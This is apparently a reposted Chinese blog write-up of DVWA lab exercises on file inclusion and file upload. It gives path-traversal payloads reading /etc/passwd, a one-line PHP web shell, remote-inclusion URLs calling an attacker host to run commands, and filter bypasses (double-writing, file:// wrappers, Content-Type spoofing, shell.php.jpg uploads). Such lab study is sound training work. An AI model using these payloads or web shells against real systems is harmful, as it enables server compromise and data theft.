当前位置: 首页 > news >正文

dvwa:文件包含、文件上传

文件包含

本地文件包含(敏感信息泄露)和远程文件包含(命令执行)

  • 本地文件包含一般包含一些本地的敏感文件,如:/etc/passwd或/etc/shadow等

  • 远程文件包含能使得服务器代码执行,如包含黑客vps的http://192.168.72.162:8000/shell.php文件,而文件内容如下:<?php system('whoami')?>

测试环境

本地文件包含不用什么测试环境,只要有个文件,就能知道其是否触发,远程文件包含需要我们写个php代码,如下

<?php
echo "this is the remote file"."\n";
system($_GET['a']);
?>

然后python -m http.server 开个服务器,让dvwa能包含我们的php代码

easy
  • linux服务下的本地文件包含

../../../../../../etc/passwd
  • windows服务下的本地文件包含

我的php网站部署在F盘,在F盘下放一个test.txt
​
../../../../../../test.txt能将文件读出
或者直接绝对路径:
​
C:/Windows/system.ini
  • 远程文件包含

http://www.oswe.com/dvwa/vulnerabilities/fi/?page=http://192.168.72.162:8000/shell.php&a=whoami
​
访问成功如下图:

 

medium
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
​
方法1:
直接输入绝对路径
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=F:/test.txt
正常输出
​
方法2:双写绕过
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=
..././..././..././..././..././..././..././..././test.txt
​
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.72.162:8000/shell.php&a=whoami
high
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
上面的逻辑是,如果参数没有file字符串,且不是include.php,直接过滤,所以这个情况不能使用远程文件包含了
我们通过伪协议file bypass
​
page=file:///C:/Windows/system.ini或
page=file:///../../../../../../../../test.txt
impossible
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
后台只允许包含这4个文件

文件上传

文件上传只有medium、high、impossible三种难度

准备个php脚本

<?php
system($_GET['a']);
?>
medium
检测:请求头
​
抓包,修改数据包,直接过
Content-Type: image/jpeg
high
检测:后缀是否为jpg、jpeg、png
​
上传
shell.php.jpg或shell.php.png都能被解析为php文件(总感觉哪里很怪)

 

impossible
imagecreatefrompng
imagecreatefromjpeg
由文件或url创建一个新图像,如果解析图像失败会报错
​
上传的文件会成为md5值.png或md5值.jpg的形式,web服务器不会将其解析为php文件

http://www.mrgr.cn/news/46261.html

相关文章:

  • 域名的命名规则有哪些?注册域名需要注意哪些?
  • 华为S5735交换机console密码重置和恢复出厂设置
  • MyBatis之ResultMap的association和collection
  • AGI时代存内计算芯片的语音识别之旅 —— 知存科技开发板体验与感悟
  • 【代码随想录Day38】动态规划Part07
  • vue路由缓存问题
  • 【springboot入门之YAML使用】
  • 非刚性点云配准 Non-rigid registration of two surfaces.SHREC 14 Human 数据集
  • 一键从想法到上线:Bolt.new重新定义全栈开发流程
  • ubuntu22.04的wayland协议修改掉,因为很多软件不支持
  • [vue/no-use-v-if-with-v-for] v-for 和 v-if 在同一个元素中的处理方法
  • Java中System类和RunTime类的Api
  • HTML5实现古典音乐网站源码模板1
  • 洞察AI趋势:智享AI直播,打造专属你的数字化直播AIGC系统!
  • 【JavaScript】事件 - 实现元素拖拽至画布
  • linux 禁用ipv6
  • Nacos 与 Eureka、Zookeeper 和 Consul 等其他注册中心的区别
  • WEB安全该学习哪些知识
  • 11、论文阅读:无监督夜间图像增强:层分解与光效抑制的结合
  • Qt C++设计模式->中介者模式